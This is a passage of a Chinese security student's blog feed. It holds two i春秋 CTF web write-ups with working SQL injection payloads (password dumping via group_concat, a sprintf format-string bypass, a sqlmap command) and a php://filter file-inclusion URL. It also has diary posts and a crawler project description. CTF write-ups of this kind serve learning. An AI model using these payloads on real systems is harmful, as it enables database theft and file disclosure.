</p></blockquote></li><li><p>爆密码</p><blockquote><p>title=1&content=1’,’1’),(‘aaa’,(select group_concat(password) from users ),’ccc’,’ddd’) # 得到密码HASH dbb616c5d935d8f34c12c291066d6fb7,解密后 melody123</p></blockquote></li></ul><p>重新以 <code>admin</code> 身份登录,发现新的入口 <code>/blog_manage/manager.php?module=article_manage&name=php</code>,看链接,长得就像文件包含漏洞。</p><p>测试后,发现确实是这个问题。</p><p>构造链接, <code>/blog_manage/manager.php?module=php://filter/read=convert.base64-encode/resource=../flag&name=php</code>,成功读到 <code>flag</code>。</p><p><img src="/2018/09/11/ichunqiu-web-BLOG/flag.png" alt="flag"></p>]]></content>
<tags>
<tag> i春秋 </tag>
<tag> Web </tag>
<tag> BLOG </tag>
</tags>
</entry>
<entry>
<title>i春秋-Web-SQLi</title>
<link href="/2018/09/10/ichunqiu-web-SQLi/"/>
<url>/2018/09/10/ichunqiu-web-SQLi/</url>
<content type="html"><![CDATA[<p>一道注入题,登录页面。</p><p>试了常见的万能密码,无效,不存在弱口令。</p><p>使用BP,看下过滤了哪些字符。</p><a id="more"></a><p><img src="/2018/09/10/ichunqiu-web-SQLi/bp-1.png" alt="BP-1"></p><p>发现参数含有<code>%</code>时,报错。</p><p><img src="/2018/09/10/ichunqiu-web-SQLi/sqli-1.png" alt="SQLi-1"></p><p>提示 <code>Warning: sprintf(): Too few arguments in /var/www/html/index.php on line 18</code>,根据提示,判定可能存在<code>sprintf格式化字符串漏洞</code>。</p><p>看下<code>sprintf</code>函数的描述。</p><p><img src="/2018/09/10/ichunqiu-web-SQLi/info-1.png" alt="Info-1"></p><p>可以构造payload:<code>admin %1$' or 1=1 #</code>,顶掉占位符,注入sql语句。此处,提示<code>password error!</code></p><p>此处不回显内容,但是有错误提示,只能盲注。</p><p>可以直接用<code>sqlmap</code>跑出来</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python sqlmap.py -u "http://b968f913d88e4ce5b916d5f6a2badf2e4568f7626bc84863.game.ichunqiu.com/" --data "username=admin%1$' * #&password=12345" --no-cast -p username --level 3 -T B -D ctf -T flag -C flag --dump</span><br></pre></td></tr></table></figure><p><img src="/2018/09/10/ichunqiu-web-SQLi/sqli-2.png" alt="SQLi-2"></p><h2 id="参考链接"><a href="#参考链接" class="headerlink" title="参考链接"></a>参考链接</h2><p><a href="https://www.colabug.com/4099484.html" target="_blank" rel="noopener">php中利用格式化字符串漏洞绕过addslashes注入</a></p>]]></content>
<tags>
<tag> i春秋 </tag>
<tag> Web </tag>
<tag> SQLi </tag>
</tags>
</entry>
<entry>
<title>日常心路-180909</title>
<link href="/2018/09/09/daily-life-20180909/"/>
<url>/2018/09/09/daily-life-20180909/</url>
<content type="html"><![CDATA[<p>最近忙了很多事,从公司离职,搬家,开学,又跑到某市做培训。</p><p>突然回到校园生活,身份从社会人变成学生,感觉还有点不适应。</p><p>今天,如愿以偿的通过了<code>Syclover</code>的面试,进入了新芽组,应该是唯一一个大三的新芽 ( ╯□╰ ),不过也算是完成了高中时候的心愿(进入CUIT,进入Syclover)。今天面的师傅很严肃,感觉自己确实还差的太多了,希望能在这个学期努力跟上。</p><p>这个学期,需要额外补<code>3</code>门课,把四级过了,还要尽量通过核心组面试,任务挺重的⊙﹏⊙∥。</p><p>诸君共勉吧(ノ*・ω・)ノ。</p><p><img src="/2018/09/09/daily-life-20180909/jldnydhgjxzpmdzj.jpg" alt="表情"></p>]]></content>
<tags>
<tag> 日常 </tag>
<tag> 心路 </tag>
</tags>
</entry>
<entry>
<title>爬虫之批量下载Admin5源码</title>
<link href="/2018/08/01/crawl-admin5/"/>
<url>/2018/08/01/crawl-admin5/</url>
<content type="html"><![CDATA[<h2 id="项目介绍"><a href="#项目介绍" class="headerlink" title="项目介绍"></a>项目介绍</h2><p><a href="http://down.admin5.com" target="_blank" rel="noopener"><code>Admin5</code></a> 提供了各种语言的开源项目,包括<code>asp</code> <code>php</code> <code>.net</code> <code>jsp</code>等。最近开始玩代码审计,到处找项目很麻烦,所以打算写一个爬虫,借助Admin5批量下载各类开源项目。</p><a id="more"></a><h2 id="分析页面"><a href="#分析页面" class="headerlink" title="分析页面"></a>分析页面</h2><p>首先,分析下<code>Admin5</code>的页面。</p><p><img src="/2018/08/01/crawl-admin5/screenshot-1.png" alt="截图-1"></p><p>可以看到,页面数据直接在html中显示的,并不是JS渲染上去的,这就比较好爬了。在响应的请求中,页面用的是<code>gb2312</code>编码,打印的时候需要注意一下,不然会乱码。建议设置编码为<code>gbk</code>,因为<code>gb2312</code>的支持的字没有<code>gbk</code>多,像打印<code>囧</code>的时候,就会抛异常。</p><p>首页的地址是<code>http://down.admin5.com/php/</code>,往后翻页,再看看首页的地址。</p><p><img src="/2018/08/01/crawl-admin5/screenshot-2.png" alt="截图-2"></p><p>变成了<code>http://down.admin5.com/php/list_30_1.html</code>。</p><p>那么就可以得出页面的地址规则 <code>php/list_30_页码.html</code>。</p><p><img src="/2018/08/01/crawl-admin5/screenshot-3.png" alt="截图-3"></p><p>这里使用<code>XPATH表达式</code>可以很方便的获取页面数据,<code>//div[@class="lists_bigimg_right"]/a</code>,获取当前页所有项目详情的 <code>a</code> 标签,即详情页的地址。</p><p>随便进入一个项目的详情,找到下载地址。</p><p><img src="/2018/08/01/crawl-admin5/screenshot-4.png" alt="截图-4"></p><p>使用 XPATH : <code>//ul[@class="down-anniu"]//li/a/@href</code>,获取下载地址,这条XPATH是获取所有的下载点地址,实际用不到这么多,可以修改下 <code>//ul[@class="down-anniu"]/li[1]/a/@href</code>,只获取1条。</p><p>当然,这个页面还包含了其它的数据,同样可以用 XPATH 采集,就不详细写了,后面在代码中会有。</p><h2 id="运行流程"><a href="#运行流程" class="headerlink" title="运行流程"></a>运行流程</h2><p>下面梳理下我们爬虫的运行流程。</p><ol><li><p>访问<code>http://down.admin5.com/php/</code>,<code>asp</code>,<code>.net</code>等语言项目的页面其实是一样的,改下路径就行,这里以<code>php</code>的为例。</p></li><li><p>获取后续页面的地址,即下一页。由于<code>Admin5</code>的页面比较简单,可以直接获取总页数,然后用<code>for</code>循环,遍历<code>http://down.admin5.com/php/list_30_页码.html</code>。</p></li><li><p>获取每个项目的详细页地址,并跟进。</p></li><li><p>提取项目的详细参数,获取下载地址,加入下载队列。</p></li><li><p>下载模块不断取出队列的任务,下载项目,直到队列为空。</p></li></ol><h2 id="具体实现"><a href="#具体实现" class="headerlink" title="具体实现"></a>具体实现</h2><p>这个项目比较简单,所以没有用<code>scrapy</code>等很重的框架去做。就用最简单的<code>requests</code>库去实现,下面设计一下具体的业务模型。</p><h3 id="模型"><a href="#模型" class="headerlink" title="模型"></a>模型</h3><ol><li>ProjectItem<ul><li>name</li><li>size</li><li>update_date</li><li>official_url</li><li>download_url</li></ul></li></ol><p>这个模型包含每个项目的属性,包括项目名称,大小,更新日期,官方地址,下载地址。</p><ol start="2"><li>Downloader<ul><li>download_queue</li><li>cache_path</li><li>save_path</li><li>add_task(projcet_item)</li><li>print_progress()</li><li>save_cache()</li></ul></li></ol><p>下载器,这个模型负责下载项目,维护下载队列,监控下载进度,并对下载过的项目地址做缓存,防止重复下载。</p><h4 id="代码"><a href="#代码" class="headerlink" title="代码"></a>代码</h4><p>已上传到 <a href="https://github.com/CHN-Jaylin/Spider/tree/master/admin5" target="_blank" rel="noopener">Github</a>, 具体实现请查看代码,注释已经写的比较清楚了。</p><h4 id="效果"><a href="#效果" class="headerlink" title="效果"></a>效果</h4><p><img src="/2018/08/01/crawl-admin5/screenshot-5.png" alt="截图-5"></p><p>已经实现了自动保存下载进度,可以随时<code>Ctrl+C</code>退出程序,下次执行时会跳过已下载的项目。</p>]]></content>
<tags>
<tag> Python </tag>
<tag> 爬虫 </tag>
</tags>
</entry>
<entry>
<title>昨天,明天</title>
<link href="/2018/07/31/yesterday-and-tomorrow/"/>
<url>/2018/07/31/yesterday-and-tomorrow/</url>
<content type="html"><![CDATA[<p>在二零一八年七月的尾巴,写下这篇文章。算是对过去的一个回忆总结,还有未来的计划。</p><p>做安全,是我高中时候就有的想法。那个时候WooYun还在,我还记得曾经挖到一个小厂的任意用户密码重置的漏洞,注册了第一个账号,踏上了我在安全路上的第一步。</p><p>高中的时候住校,手机查的还严。每天最开心的就是窝在被子里,翻着WooYun,逛逛Zone。看看今天谁家Struts2的洞还没补,哪个厂的裤子又被脱了。当然,还有各路大佬分享的奇技淫巧,一哥猪猪侠,画漫画的小川……</p><p>大学,我来到离家1500KM的成都,因为各种原因,选了一个不喜欢的专业,加了学生会,每天都让自己很忙,常常是通宵在工作,也没有时间再去关注安全圈。第一个学期的学期末,重要的几门专业基础课还是都不懂。我意识到这个专业真的不适合我,即使毕业了,我也不会去做这行。某个晚上,我扯出路由器上的网线,连上学校内网,不小心拿到了支撑学校核心数据库,思考了许久,还是关掉了终端…</p><p>第二个学期,不顾家人反对,我转到了软件专业,学习软件开发。环境原因,班上的计算机水平都不行,凭着高中攒下的知识,吊打大部分人。我开始参加各种比赛,移动开发,大数据,软件杯。一路过来,经历了很多,承担了很多,收获了很多,可以说是我人生成长最多的历程。在这里,我迷失过,特别是我深入开发之后,我发现IT的方向原来这么多,我对每个方向都感兴趣,但一个人不可能把每条路走通,必须找一条合适自己路。开发这条路,我走了很久,也做过自己引以为傲的作品。不过我不喜欢做业务,像是搬砖一样的堆砌代码,写没有灵魂的程序,所以,是时候回去了。</p><p>这一年,最开心的事莫过于通过升本考试,接下来的两年,我将在CUIT继续学习。CUIT最出名的,就是信息安全了吧,也是牛人云集的地方。希望多年以后,再看这篇文章的时候,我也是一枚大佬了。</p><p>不忘初心,方得始终。</p>]]></content>
<tags>
<tag> 日常 </tag>
<tag> 心路 </tag>
</tags>
</entry>
</search>